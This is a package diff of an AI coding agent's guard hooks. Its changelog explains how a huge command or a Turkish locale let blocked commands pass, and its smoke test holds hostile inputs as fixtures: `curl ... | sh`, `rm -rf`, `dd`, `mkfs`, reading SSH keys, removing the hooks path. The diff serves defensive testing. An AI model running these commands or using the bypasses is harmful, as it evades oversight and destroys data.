crewforth 3.0.1 → 3.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +36 -0
- package/VERSION +1 -1
- package/kit/eval/smoke-test.sh +246 -0
- package/kit/hooks/commit-msg +50 -1
- package/kit/hooks/guard-bash.sh +98 -26
- package/kit/hooks/guard-commit-scan.sh +52 -4
- package/kit/hooks/guard-powershell.sh +19 -0
- package/kit/hooks/guard-write.sh +19 -0
- package/kit/hooks/pre-commit +89 -12
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,42 @@ Crewforth was named Claude Starter Kit until 3.0.0.
|
|
|
5
5
|
Notable changes to this project are recorded here. Format follows [Keep a Changelog](https://keepachangelog.com/en/),
|
|
6
6
|
versioning follows [SemVer](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [3.0.3] — 2026-10-03
|
|
9
|
+
|
|
10
|
+
### Security
|
|
11
|
+
|
|
12
|
+
- **In a large command, a destructive line near the top was not seen.** The rules that grep the command fed it
|
|
13
|
+
through a pipe, and `grep -q` leaves at its first match: with a command larger than the pipe holds, the writer was
|
|
14
|
+
killed by SIGPIPE and the rule read the pipeline's status (141) as "no match". Measured on 3.0.2: on macOS and
|
|
15
|
+
Windows a command of 72 KB or more whose first line was `rm -rf /tmp/x/*` passed (on Linux at 128 KB), and so did
|
|
16
|
+
`dd of=`, `curl | sh`, `chmod 777`, `mkfs` and a lockfile delete; with that line last each was refused. `guard-commit-scan.sh` looked
|
|
17
|
+
for the commit the same way, so above that size it left without scanning and a staged key went through it (git's
|
|
18
|
+
own `pre-commit` hook still scanned). `guard-bash.sh` and `guard-commit-scan.sh` no longer pipe into grep, and a
|
|
19
|
+
grep that could not run (any status but found or not found) stops the call and says the command was not judged.
|
|
20
|
+
|
|
21
|
+
## [3.0.2] — 2026-10-03
|
|
22
|
+
|
|
23
|
+
### Security
|
|
24
|
+
|
|
25
|
+
- **Under a Turkish system locale the gates missed what they are written to catch.** There `i` and `I` are not each
|
|
26
|
+
other's other case, and every case-insensitive match in the gates is written in ASCII. Measured under `tr_TR.UTF-8`
|
|
27
|
+
with GNU grep and bash 5 on Linux: `grep -i` did not find `INIT` with `init`, bash's `nocasematch` did not match
|
|
28
|
+
`GIT` against `git`, and a range like `[A-Za-z]` did not hold `i` or `I`, so a recursive `Remove-Item`, `git config
|
|
29
|
+
--remove-section core`, a read of a nested `.env`, a staged key and a vendor name in capitals all passed;
|
|
30
|
+
Crewforth's own suite, run whole under that locale, went from 2 failures to 23. In Git Bash on Windows `grep -iF`
|
|
31
|
+
aborted (exit 134) and the pre-commit scan for private strings read that as "no match". macOS folds the two letters
|
|
32
|
+
the ASCII way and was not affected. Every gate (`pre-commit`, `commit-msg`, `guard-commit-scan.sh`, `guard-bash.sh`,
|
|
33
|
+
`guard-write.sh`, `guard-powershell.sh`) now sets the C locale before it matches anything. A private string or a
|
|
34
|
+
pattern that holds a letter outside ASCII is still looked for under the session's own locale as well.
|
|
35
|
+
- **A scan that could not run is no longer a clean scan.** In `pre-commit` and `commit-msg`, grep failing for any
|
|
36
|
+
reason but a pattern that does not compile stops the commit and says so; the private-string scan used to read every
|
|
37
|
+
failure as "no match", `commit-msg` read a broken pattern as one too, silently, and a staged diff that could not be
|
|
38
|
+
collected was scanned as an empty one. A pattern that does not compile still only warns, now in `commit-msg` as well.
|
|
39
|
+
- **The approval prompt could carry invalid UTF-8.** The command it shows is cut to 300 a line with `cut -c`, and GNU
|
|
40
|
+
cut counts bytes in every locale: a two-byte letter across byte 300 left the prompt's JSON invalid (measured on
|
|
41
|
+
Linux under `en_US.UTF-8`, and on macOS under the C locale; Git Bash ships GNU cut too, not measured there). The cut
|
|
42
|
+
steps back over an unfinished letter now.
|
|
43
|
+
|
|
8
44
|
## [3.0.1] — 2026-10-01
|
|
9
45
|
|
|
10
46
|
### Security
|
package/VERSION
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
3.0.
|
|
1
|
+
3.0.3
|
package/kit/eval/smoke-test.sh
CHANGED
|
@@ -2,6 +2,12 @@
|
|
|
2
2
|
# Kit smoke-test: structural validation (without running Claude Code).
|
|
3
3
|
# Usage: bash .claude/eval/smoke-test.sh (from the repo root or from inside .claude/eval)
|
|
4
4
|
set -uo pipefail
|
|
5
|
+
# The suite measures in the C locale, whatever the session's is. Its own patterns are ASCII, and under a Turkish
|
|
6
|
+
# locale a range like [a-z] does not hold `i`: run whole under tr_TR.UTF-8 on Linux, assertions failed for that
|
|
7
|
+
# reason alone (`skill-trust.sh` read as `ll-trust.sh`), and one more because start.sh answers in Turkish there,
|
|
8
|
+
# which is its design. A measurement that depends on who runs it is not one. The gates are handed a Turkish locale
|
|
9
|
+
# on purpose in section 12e.
|
|
10
|
+
export LC_ALL=C
|
|
5
11
|
HERE="$(cd "$(dirname "$0")" && pwd)"
|
|
6
12
|
ROOT="$(cd "$HERE/.." && pwd)" # .claude/
|
|
7
13
|
AGENTS="$ROOT/agents"; SKILLS="$ROOT/skills"; HOOKS="$ROOT/hooks"
|
|
@@ -1347,6 +1353,9 @@ _blk_gate(){ # $1 = marker name, $2 = what the block is, in words
|
|
|
1347
1353
|
}
|
|
1348
1354
|
_blk_gate CREW-TRANSCRIPT-DIR "the duplicated transcript-dir resolver"
|
|
1349
1355
|
_blk_gate CREW-JSON-PARSE "the duplicated JSON parser"
|
|
1356
|
+
_blk_gate CREW-LOCALE "the locale block every gate matches under"
|
|
1357
|
+
_blk_gate CREW-SCAN "the scan that tells 'could not look' from 'nothing there'"
|
|
1358
|
+
_blk_gate CREW-MATCH "the match on the command that reads grep's status"
|
|
1350
1359
|
# End to end: called by hand from this repo, the hook must produce a reading rather than "transcript not found".
|
|
1351
1360
|
cu_hand="$(cd "$ROOT/.." && bash "$HOOKS/context-usage.sh" 2>&1)"
|
|
1352
1361
|
# The three arms used to be pass / note / note, and `note` touches no counter — so on any machine without a
|
|
@@ -6406,6 +6415,243 @@ for _c in "rm /Users/u/.claude/plugins/cache/acme/tool/1.0/hooks/x.sh" "diff $PG
|
|
|
6406
6415
|
done
|
|
6407
6416
|
[ -z "$PGF$_pgok" ] && pass "plugin gate files: $PGN writes, deletes, renames and links refused (this version, another cached version, ~/\$HOME/glob/..//. spellings, Windows spellings, a root outside the cache, the sourced crew-env.sh, Write tool); each negative twin — reading, running board.sh, a source tree, another plugin — stays free" \
|
|
6408
6417
|
|| fail "plugin gate files:$PGF${_pgok:+ | wrongly refused:$_pgok}"
|
|
6418
|
+
if [ "$UNITS" = 1 ]; then
|
|
6419
|
+
sec "== 12e) the gates answer the same under a Turkish locale: there i and I are not each other's other case =="
|
|
6420
|
+
# Under tr_TR.UTF-8 the partners are i/İ and ı/I. Every case-insensitive match in the gates is written in ASCII, so
|
|
6421
|
+
# with the locale left as the session had it: GNU grep -i did not find INIT with `init`, bash's nocasematch did not
|
|
6422
|
+
# match GIT against git, [A-Za-z] did not hold I, and in Git Bash `grep -iF` aborted (exit 134) and the
|
|
6423
|
+
# private-string scan read that as "no match". macOS folds i and I the ASCII way under tr_TR, so there the locale
|
|
6424
|
+
# rows below cannot fail whatever the gates do — the line says which kind of platform it ran on.
|
|
6425
|
+
# Every gate now sets LC_ALL=C before it matches anything (the CREW-LOCALE block).
|
|
6426
|
+
_thq="'"; _thbad=""; _thn=0
|
|
6427
|
+
for _h in pre-commit commit-msg guard-commit-scan.sh guard-bash.sh guard-write.sh guard-powershell.sh; do
|
|
6428
|
+
_thn=$((_thn+1))
|
|
6429
|
+
# the first line of code after `set -…` is the block: nothing matches before the locale is set
|
|
6430
|
+
_n="$(LC_ALL=C awk '/^[[:space:]]*(#|$)/{next} /^set -/{next} {print; exit}' "$HOOKS/$_h")"
|
|
6431
|
+
[ "$_n" = '_CREW_LOCALE="${LC_ALL:-${LC_CTYPE:-${LANG:-}}}"' ] && grep -q '^export LC_ALL=C$' "$HOOKS/$_h" || _thbad="$_thbad $_h"
|
|
6432
|
+
done
|
|
6433
|
+
[ -z "$_thbad" ] && pass "all $_thn gates set the C locale before their first line of matching (pre-commit, commit-msg, guard-commit-scan, guard-bash, guard-write, guard-powershell)" \
|
|
6434
|
+
|| fail "a gate matches before it sets the C locale, or does not set it:$_thbad"
|
|
6435
|
+
|
|
6436
|
+
# A scan that could not run is not a clean scan. grep is shadowed by one that aborts for -iF (what Git Bash's grep does
|
|
6437
|
+
# under a Turkish locale), for -iE, and for the grep that collects the added lines. Runs on every platform.
|
|
6438
|
+
_TH="$(mktemp -d)"; _TH="$(cd -P "$_TH" && pwd)"
|
|
6439
|
+
_th_repo(){ # $1 = directory -> a repository with the two git hooks beside their lists, nothing staged
|
|
6440
|
+
rm -rf "$1"; mkdir -p "$1"
|
|
6441
|
+
( cd "$1" && git init -q && git config user.email t@example.com && git config user.name t \
|
|
6442
|
+
&& cp "$HOOKS/pre-commit" "$HOOKS/commit-msg" "$HOOKS/trace-blocklist.txt" "$HOOKS/secret-blocklist.txt" "$HOOKS/floor-blocklist.txt" . ) >/dev/null 2>&1; }
|
|
6443
|
+
# $1 = repository, $2 = hook, $3 = locale or empty, $4 = a directory to put first on PATH or empty, $5 = the hook's argument -> _thr, output in $_TH/out
|
|
6444
|
+
_th_hook(){ ( cd "$1" && env ${3:+LC_ALL=$3} ${4:+PATH="$4:$PATH"} bash "./$2" ${5:+"$5"} ) > "$_TH/out" 2>&1; _thr=$?; }
|
|
6445
|
+
_thg="$(command -v grep)"
|
|
6446
|
+
mkdir -p "$_TH/bin" "$_TH/bin2" "$_TH/bin3"
|
|
6447
|
+
printf '#!/bin/sh\ncase " $* " in *" -qiF "*) kill -ABRT $$ ;; esac\nexec "%s" "$@"\n' "$_thg" > "$_TH/bin/grep"
|
|
6448
|
+
printf '#!/bin/sh\ncase " $* " in *" -qiE "*) kill -ABRT $$ ;; esac\nexec "%s" "$@"\n' "$_thg" > "$_TH/bin2/grep"
|
|
6449
|
+
printf '#!/bin/sh\n[ "$1" = -E ] && [ "$2" = "^\\+" ] && kill -ABRT $$\nexec "%s" "$@"\n' "$_thg" > "$_TH/bin3/grep"
|
|
6450
|
+
chmod +x "$_TH/bin/grep" "$_TH/bin2/grep" "$_TH/bin3/grep"
|
|
6451
|
+
_th_repo "$_TH/r"
|
|
6452
|
+
printf 'acme-internal-host\n' > "$_TH/r/.private-terms.txt"
|
|
6453
|
+
( cd "$_TH/r" && printf 'see ACME-INTERNAL-HOST for the dump\n' > notes.md && git add notes.md ) >/dev/null 2>&1
|
|
6454
|
+
_thbad=""
|
|
6455
|
+
_th_hook "$_TH/r" pre-commit ""; { [ "$_thr" = 1 ] && grep -q 'PRIVATE-PATH SCANNER: a staged line contains' "$_TH/out"; } \
|
|
6456
|
+
|| _thbad="$_thbad [FIXTURE: with a working grep the private string is not reported: rc=$_thr]"
|
|
6457
|
+
_th_hook "$_TH/r" pre-commit "" "$_TH/bin"; { [ "$_thr" = 1 ] && grep -q 'could not run' "$_TH/out"; } \
|
|
6458
|
+
|| _thbad="$_thbad [grep aborting for -iF: rc=$_thr, want 1 and 'could not run' — $(sed -n 1p "$_TH/out" | cut -c1-120)]"
|
|
6459
|
+
_th_repo "$_TH/e"; ( cd "$_TH/e" && printf 'an ordinary line\n' > a.txt && git add a.txt && printf 'docs: an ordinary message\n' > msg.txt ) >/dev/null 2>&1
|
|
6460
|
+
_th_hook "$_TH/e" pre-commit "" "$_TH/bin2"; { [ "$_thr" = 1 ] && grep -q 'TRACE-SCANNER: the look for .* could not run' "$_TH/out"; } \
|
|
6461
|
+
|| _thbad="$_thbad [pre-commit, grep aborting for -iE: rc=$_thr, want 1 and 'could not run' — $(sed -n 1p "$_TH/out" | cut -c1-120)]"
|
|
6462
|
+
_th_hook "$_TH/e" commit-msg "" "$_TH/bin2" msg.txt; { [ "$_thr" = 1 ] && grep -q 'could not run' "$_TH/out"; } \
|
|
6463
|
+
|| _thbad="$_thbad [commit-msg, grep aborting for -iE: rc=$_thr, want 1 and 'could not run' — $(sed -n 1p "$_TH/out" | cut -c1-120)]"
|
|
6464
|
+
_th_hook "$_TH/r" pre-commit "" "$_TH/bin3"; { [ "$_thr" = 1 ] && grep -q 'the staged diff could not be read' "$_TH/out"; } \
|
|
6465
|
+
|| _thbad="$_thbad [pre-commit, the grep that collects the added lines aborting: rc=$_thr, want 1 and 'could not be read' — $(sed -n 1p "$_TH/out" | cut -c1-120)]"
|
|
6466
|
+
# a pattern that does not compile is a typo, not a failed look: it warns, in both git hooks, and the commit goes on
|
|
6467
|
+
_th_repo "$_TH/b"; printf 'unclosed[\n' >> "$_TH/b/trace-blocklist.txt"
|
|
6468
|
+
( cd "$_TH/b" && printf 'an ordinary line\n' > a.txt && git add a.txt && printf 'docs: an ordinary message\n' > msg.txt ) >/dev/null 2>&1
|
|
6469
|
+
_th_hook "$_TH/b" pre-commit ""; { [ "$_thr" = 0 ] && grep -q 'is not a valid regular expression' "$_TH/out"; } \
|
|
6470
|
+
|| _thbad="$_thbad [pre-commit with a pattern that does not compile: rc=$_thr, want 0 and the warning]"
|
|
6471
|
+
_th_hook "$_TH/b" commit-msg "" "" msg.txt; { [ "$_thr" = 0 ] && grep -q 'is not a valid regular expression' "$_TH/out"; } \
|
|
6472
|
+
|| _thbad="$_thbad [commit-msg with a pattern that does not compile: rc=$_thr, want 0 and the warning]"
|
|
6473
|
+
[ -z "$_thbad" ] && pass "a scan that could not run stops the commit: with grep aborting for -iF (what Git Bash's grep does under a Turkish locale) or for -iE, or while the added lines are collected, pre-commit and commit-msg exit 1 and say so; a pattern that does not compile still only warns, in both" \
|
|
6474
|
+
|| fail "a scan that could not run:$_thbad"
|
|
6475
|
+
|
|
6476
|
+
# guard-bash under a locale: $1 = locale or empty, $2 = tool, $3 = command as JSON text, $4 = mode -> _thr, stdout in $_TH/gb.out
|
|
6477
|
+
_th_gb(){ printf '{"tool_name":"%s","permission_mode":"%s","cwd":"%s","tool_input":{"command":"%s"}}' "$2" "${4:-auto}" "$_TH/w" "$3" > "$_TH/pl.json"
|
|
6478
|
+
( cd "$_TH/w" && CREW_GATE_LOG=/dev/null env -u CLAUDE_GIT_OK ${1:+LC_ALL=$1} bash "$HOOKS/guard-bash.sh" < "$_TH/pl.json" > "$_TH/gb.out" 2>"$_TH/gb.err" ); _thr=$?; }
|
|
6479
|
+
# a repository with one change staged and a review record that matches it, so a plain commit reaches the prompt
|
|
6480
|
+
rm -rf "$_TH/w"; mkdir -p "$_TH/w"
|
|
6481
|
+
( cd "$_TH/w" && git init -q && git config user.email t@example.com && git config user.name t && mkdir -p .claude \
|
|
6482
|
+
&& echo one > a.txt && git add a.txt && git -c core.hooksPath=/dev/null commit -qm init && echo two >> a.txt && git add a.txt \
|
|
6483
|
+
&& printf '{"diff_oid":"%s","head":"%s"}\n' "$(git diff --cached | git hash-object --stdin)" "$(git rev-parse HEAD)" > .claude/review-pass.json ) >/dev/null 2>&1
|
|
6484
|
+
|
|
6485
|
+
# The command shown in the approval prompt is cut to 300 bytes a line and goes into JSON. `cut -c` did it: GNU cut
|
|
6486
|
+
# counts bytes in every locale, so a two-byte letter across byte 300 left the JSON invalid UTF-8 (measured on Linux
|
|
6487
|
+
# under en_US.UTF-8). The cut steps back over an unfinished letter now, in any locale.
|
|
6488
|
+
_thutf=""; for _l in en_US.UTF-8 C.UTF-8 C.utf8; do
|
|
6489
|
+
[ "$(LC_ALL=$_l bash -c 'x=ş; printf %s "${#x}"' 2>/dev/null)" = 1 ] && { _thutf="$_l"; break; }
|
|
6490
|
+
done
|
|
6491
|
+
if ! command -v iconv >/dev/null 2>&1; then skip tool "the approval prompt's text is never cut inside a letter (no iconv to check UTF-8 with)"
|
|
6492
|
+
else
|
|
6493
|
+
_thbad=""
|
|
6494
|
+
for _l in "" ${_thutf:+"$_thutf"}; do
|
|
6495
|
+
# `git commit -m '` is 15 bytes; 284 a's bring it to 299, so byte 300 is the first half of the first ş
|
|
6496
|
+
_tha="$(printf '%*s' 284 '' | tr ' ' a)"; _th_gb "$_l" Bash "git commit -m ${_thq}${_tha}şşşşşşşşşş${_thq}" default
|
|
6497
|
+
{ [ "$(gdec "$(cat "$_TH/gb.out")")" = ask ] && iconv -f UTF-8 -t UTF-8 < "$_TH/gb.out" >/dev/null 2>&1 && grep -q 'a…' "$_TH/gb.out"; } \
|
|
6498
|
+
|| _thbad="$_thbad [locale '${_l:-C}', a cut that falls inside a letter: rc=$_thr, valid UTF-8: $(iconv -f UTF-8 -t UTF-8 < "$_TH/gb.out" >/dev/null 2>&1 && echo yes || echo NO)]"
|
|
6499
|
+
# a three-byte letter with two of its bytes before the cut: 283 a's, then € across bytes 299-301
|
|
6500
|
+
_tha="$(printf '%*s' 283 '' | tr ' ' a)"; _th_gb "$_l" Bash "git commit -m ${_thq}${_tha}€€€€${_thq}" default
|
|
6501
|
+
{ [ "$(gdec "$(cat "$_TH/gb.out")")" = ask ] && iconv -f UTF-8 -t UTF-8 < "$_TH/gb.out" >/dev/null 2>&1 && grep -q 'a…' "$_TH/gb.out"; } \
|
|
6502
|
+
|| _thbad="$_thbad [locale '${_l:-C}', a cut two bytes into a three-byte letter: rc=$_thr, valid UTF-8: $(iconv -f UTF-8 -t UTF-8 < "$_TH/gb.out" >/dev/null 2>&1 && echo yes || echo NO)]"
|
|
6503
|
+
# exactly 300 bytes: shown whole, no ellipsis
|
|
6504
|
+
_tha="$(printf '%*s' 264 '' | tr ' ' a)"; _th_gb "$_l" Bash "git commit -m ${_thq}şşşşşşşşşş${_tha}${_thq}" default
|
|
6505
|
+
{ [ "$(gdec "$(cat "$_TH/gb.out")")" = ask ] && ! grep -q "a${_thq}…" "$_TH/gb.out" && grep -q "şa" "$_TH/gb.out"; } \
|
|
6506
|
+
|| _thbad="$_thbad [locale '${_l:-C}', a command of exactly 300 bytes: rc=$_thr, want it whole and no ellipsis]"
|
|
6507
|
+
done
|
|
6508
|
+
[ -z "$_thbad" ] && pass "the command in the approval prompt is cut at 300 bytes a line and never inside a letter, under C${_thutf:+ and $_thutf}: the JSON stays UTF-8, and 300 bytes exactly are shown whole" \
|
|
6509
|
+
|| fail "the approval prompt's text:$_thbad"
|
|
6510
|
+
fi
|
|
6511
|
+
|
|
6512
|
+
# The locale itself, where this machine has one.
|
|
6513
|
+
_th=""; for _l in tr_TR.UTF-8 tr_TR.utf8 az_AZ.UTF-8 az_AZ.utf8; do
|
|
6514
|
+
[ "$(LC_ALL=$_l bash -c 'x=ş; printf %s "${#x}"' 2>/dev/null)" = 1 ] && { _th="$_l"; break; }
|
|
6515
|
+
done
|
|
6516
|
+
if [ -z "$_th" ]; then
|
|
6517
|
+
skip platform "the gates under a Turkish locale (this machine has no tr_TR.UTF-8 or az_AZ.UTF-8)" 2
|
|
6518
|
+
else
|
|
6519
|
+
# What plain matching does under it here: this is what says whether the rows below can fail on this platform.
|
|
6520
|
+
_thc="$(LC_ALL=$_th bash -c 'shopt -s nocasematch; [[ GIT == git ]] && printf folds || printf "does not fold"' 2>/dev/null)"
|
|
6521
|
+
# in a subshell: where grep aborts, the shell that waits for it reports the job ("Aborted"), and that line is
|
|
6522
|
+
# not grep's stderr, so a redirection on the pipeline does not silence it
|
|
6523
|
+
_thx=0; ( printf 'INIT\n' | LC_ALL=$_th grep -qiF init ) >/dev/null 2>&1 || _thx=$?
|
|
6524
|
+
_thkind="here plain bash $_thc I to i and grep -iF exits $_thx for INIT/init"
|
|
6525
|
+
case "$_thc/$_thx" in folds/0) _thkind="$_thkind, so these rows cannot fail on this platform" ;; esac
|
|
6526
|
+
# (1) guard-bash: each of these gave another verdict under the locale before the block
|
|
6527
|
+
THT='2 @@ PowerShell @@ Remove-Item -Recurse -Force C:\\\\proj\\\\*
|
|
6528
|
+
2 @@ Bash @@ git config --remove-section core
|
|
6529
|
+
2 @@ Bash @@ git config --rename-section core x
|
|
6530
|
+
2 @@ Bash @@ cat config/.env.production
|
|
6531
|
+
2 @@ Bash @@ cat ~/.ssh/ID_RSA
|
|
6532
|
+
0 @@ Bash @@ cat ~/.ssh/id_rsa.pub
|
|
6533
|
+
0 @@ Bash @@ cat ~/.ssh/id_rsa.pub | ssh-keygen -lf -
|
|
6534
|
+
0 @@ Bash @@ ls -la'
|
|
6535
|
+
_thbad=""; _thn=0
|
|
6536
|
+
while IFS= read -r _cl; do [ -z "$_cl" ] && continue
|
|
6537
|
+
_cw="${_cl%% @@ *}"; _cc="${_cl#* @@ }"; _ct="${_cc%% @@ *}"; _cc="${_cc#* @@ }"; _thn=$((_thn+1))
|
|
6538
|
+
_th_gb "$_th" "$_ct" "$_cc"; _thl="$_thr"; _th_gb "" "$_ct" "$_cc"
|
|
6539
|
+
{ [ "$_thl" = "$_cw" ] && [ "$_thr" = "$_cw" ]; } || _thbad="$_thbad [$_ct: $_cc → $_thl under $_th, $_thr under C, want $_cw]"
|
|
6540
|
+
done <<< "$THT"
|
|
6541
|
+
if [ "$_thn" != 8 ]; then fail "FIXTURE: the gate table under $_th ran $_thn rows, not 8"
|
|
6542
|
+
elif [ -z "$_thbad" ]; then pass "under $_th guard-bash gives the verdicts it gives under C: 8 rows (a recursive Remove-Item, core.hooksPath removed or renamed away, a nested .env, ID_RSA by case refused; id_rsa.pub, alone and piped, and ls allowed) — $_thkind"
|
|
6543
|
+
else fail "verdicts that change under $_th:$_thbad"; fi
|
|
6544
|
+
# (2) the two git hooks
|
|
6545
|
+
_thbad=""
|
|
6546
|
+
_th_repo "$_TH/t"
|
|
6547
|
+
( cd "$_TH/t" && printf 'notes generated by %s\n' 'COPI''LOT' > t.md && git add t.md ) >/dev/null 2>&1
|
|
6548
|
+
_th_hook "$_TH/t" pre-commit "$_th"; { [ "$_thr" = 1 ] && grep -q 'TRACE-SCANNER' "$_TH/out"; } || _thbad="$_thbad [pre-commit, a vendor name in capitals in an added line: rc=$_thr, want 1]"
|
|
6549
|
+
_th_repo "$_TH/s"
|
|
6550
|
+
( cd "$_TH/s" && printf 'aws_key = AKIA%s\n' 'IOSFODNN7EXAMPLE' > leak.txt && git add leak.txt ) >/dev/null 2>&1
|
|
6551
|
+
_th_hook "$_TH/s" pre-commit "$_th"; { [ "$_thr" = 1 ] && grep -q 'SECRET-SCANNER' "$_TH/out"; } || _thbad="$_thbad [pre-commit, a staged key that holds an I: rc=$_thr, want 1]"
|
|
6552
|
+
_th_hook "$_TH/r" pre-commit "$_th"; { [ "$_thr" = 1 ] && grep -q 'PRIVATE-PATH SCANNER: a staged line contains' "$_TH/out"; } || _thbad="$_thbad [pre-commit, a private string in another case: rc=$_thr, want 1 — $(sed -n 1p "$_TH/out" | cut -c1-100)]"
|
|
6553
|
+
_th_hook "$_TH/e" pre-commit "$_th"; [ "$_thr" = 0 ] || _thbad="$_thbad [pre-commit, an ordinary line: rc=$_thr, want 0]"
|
|
6554
|
+
( cd "$_TH/t" && printf 'docs: notes\n\nWritten with %s\n' 'COPI''LOT' > msg.txt ) >/dev/null 2>&1
|
|
6555
|
+
_th_hook "$_TH/t" commit-msg "$_th" "" msg.txt; [ "$_thr" = 1 ] || _thbad="$_thbad [commit-msg, a vendor name in capitals in the message: rc=$_thr, want 1]"
|
|
6556
|
+
_th_hook "$_TH/e" commit-msg "$_th" "" msg.txt; [ "$_thr" = 0 ] || _thbad="$_thbad [commit-msg, an ordinary message: rc=$_thr, want 0]"
|
|
6557
|
+
# a letter outside ASCII keeps its other case: the second look, under the session's locale
|
|
6558
|
+
_th_repo "$_TH/n"; printf 'şirket-gizli\n' > "$_TH/n/.private-terms.txt"
|
|
6559
|
+
( cd "$_TH/n" && printf 'see ŞİRKET-GİZLİ\n' > n.md && git add n.md ) >/dev/null 2>&1
|
|
6560
|
+
_th_hook "$_TH/n" pre-commit "$_th"; _thna="$_thr"
|
|
6561
|
+
# required where this platform's grep folds such a letter under the locale at all (GNU grep does, BSD grep does not)
|
|
6562
|
+
if ( printf 'ŞİRKET\n' | LC_ALL=$_th grep -qiF 'şirket' ) >/dev/null 2>&1; then
|
|
6563
|
+
[ "$_thna" = 1 ] || _thbad="$_thbad [pre-commit, a private string of non-ASCII letters in another case: rc=$_thna, want 1 (this grep folds them under $_th)]"
|
|
6564
|
+
fi
|
|
6565
|
+
[ -z "$_thbad" ] && pass "under $_th the git hooks stop what they stop under C: a vendor name in another case in an added line and in the message, a staged key that holds an I, a private string in another case; an ordinary line and message pass (a private string of non-ASCII letters in another case: exit $_thna, 1 = caught by the second look)" \
|
|
6566
|
+
|| fail "the git hooks under $_th:$_thbad"
|
|
6567
|
+
fi
|
|
6568
|
+
rm -rf "$_TH"
|
|
6569
|
+
|
|
6570
|
+
sec "== 12f) a match on the command has no pipe, and a grep that could not run stops the call =="
|
|
6571
|
+
# The rules that grep the command fed it through a pipe, under pipefail. `grep -q` leaves at its first match, so with
|
|
6572
|
+
# a command larger than the pipe holds the writer dies of SIGPIPE and the pipeline answers 141, which each rule read
|
|
6573
|
+
# as "no match". Measured on 3.0.2, on macOS and Windows (Linux at 128 KB): a command of 72 KB or more whose FIRST line was
|
|
6574
|
+
# `rm -rf /tmp/x/*` passed with exit 0, and so did dd of=, curl | sh, chmod 777, mkfs and a lockfile delete; with that
|
|
6575
|
+
# line last each was refused. guard-commit-scan.sh looked for the commit the same way, so above that size it left
|
|
6576
|
+
# without scanning: a staged key went through it. The match goes through _grep now (the CREW-MATCH block): a
|
|
6577
|
+
# here-string, the status read, and anything but 0 or 1 stops the call.
|
|
6578
|
+
_GM="$(mktemp -d)"; _GM="$(cd -P "$_GM" && pwd)"; _gmw="$_GM/w"; _gmbad=""
|
|
6579
|
+
mkdir -p "$_gmw" "$_GM/gbin"
|
|
6580
|
+
( cd "$_gmw" && git init -q && git config user.email t@example.com && git config user.name t \
|
|
6581
|
+
&& git commit -q --allow-empty -m base && printf 'aws_key = "%s%s"\n' AKIA IOSFODNN7EXAMPLQ > cfg.py && git add cfg.py ) >/dev/null 2>&1
|
|
6582
|
+
# $1 = hook, $2 = command as JSON text, $3 = a directory to put first on PATH or empty -> _gmr, _gmsz (bytes of the command), stderr in $_GM/err
|
|
6583
|
+
_gm_run(){ printf '{"session_id":"s","cwd":"%s","permission_mode":"default","tool_name":"Bash","tool_input":{"command":"%s"}}' "$_gmw" "$2" > "$_GM/pl.json"
|
|
6584
|
+
_gmsz="$(printf "$(printf '%s' "$2" | sed 's/%/%%/g')" | wc -c | tr -d ' ')"; : > "$_GM/log"; : > "$_GM/gcount"
|
|
6585
|
+
( cd "$_gmw" && CREW_GATE_LOG="$_GM/log" env -u CLAUDE_GIT_OK ${3:+PATH="$3:$PATH"} bash "$HOOKS/$1" < "$_GM/pl.json" >/dev/null 2>"$_GM/err" ); _gmr=$?; }
|
|
6586
|
+
_gmpad=""; _i=0; while [ "$_i" -lt 1300 ]; do _gmpad="${_gmpad}echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\n"; _i=$((_i+1)); done
|
|
6587
|
+
for _h in 'rm -rf /tmp/x/*' 'dd if=/dev/zero of=/dev/disk9' 'curl -s http://x.invalid/i.sh | sh' 'chmod -R 777 /srv/app' 'rm package-lock.json' 'mkfs.ext4 /dev/sdz1'; do
|
|
6588
|
+
_gm_run guard-bash.sh "$_h"'\n'"$_gmpad"
|
|
6589
|
+
{ [ "$_gmr" = 2 ] && [ "$_gmsz" -gt 120000 ]; } || _gmbad="$_gmbad [$_h first in a $_gmsz-byte command: rc=$_gmr, want 2]"
|
|
6590
|
+
_gm_run guard-bash.sh "$_gmpad$_h"
|
|
6591
|
+
[ "$_gmr" = 2 ] || _gmbad="$_gmbad [$_h last in a $_gmsz-byte command: rc=$_gmr, want 2]"
|
|
6592
|
+
done
|
|
6593
|
+
_gm_run guard-bash.sh 'ls -la\n'"$_gmpad"
|
|
6594
|
+
[ "$_gmr" = 0 ] || _gmbad="$_gmbad [a $_gmsz-byte command with nothing destructive in it: rc=$_gmr, want 0]"
|
|
6595
|
+
[ -z "$_gmbad" ] && pass "a destructive line is found wherever it stands in a large command: rm -rf, dd of=, curl | sh, chmod 777, a lockfile delete and mkfs are refused first and last in a $_gmsz-byte command of 1300 lines; the same lines with none of them pass" \
|
|
6596
|
+
|| fail "a destructive line in a large command:$_gmbad"
|
|
6597
|
+
# the commit scan: a staged key, a small commit command and a large one
|
|
6598
|
+
_gmbad=""
|
|
6599
|
+
_gm_run guard-commit-scan.sh 'git commit -m x'
|
|
6600
|
+
[ "$_gmr" = 2 ] || _gmbad="$_gmbad [FIXTURE: a staged key with a one-line commit command: rc=$_gmr, want 2 — the large row below would prove nothing]"
|
|
6601
|
+
_gm_run guard-commit-scan.sh 'git commit -m x\n'"$_gmpad"
|
|
6602
|
+
{ [ "$_gmr" = 2 ] && [ "$_gmsz" -gt 120000 ]; } || _gmbad="$_gmbad [a staged key with a commit first in a $_gmsz-byte command: rc=$_gmr, want 2]"
|
|
6603
|
+
[ -z "$_gmbad" ] && pass "the commit scan runs whatever the size of the command: a staged key is refused with a one-line commit command and with the commit first in a $_gmsz-byte one" \
|
|
6604
|
+
|| fail "the commit scan on a large command:$_gmbad"
|
|
6605
|
+
# Past 64 lines (_ere) or 64 segments (_seg_any) a rule hands the text to grep instead of matching it line by line in
|
|
6606
|
+
# the shell. Those paths had no row at all.
|
|
6607
|
+
_gmbad=""
|
|
6608
|
+
_gmp=""; _i=0; while [ "$_i" -lt 70 ]; do _gmp="${_gmp}echo hookspath\\n"; _i=$((_i+1)); done
|
|
6609
|
+
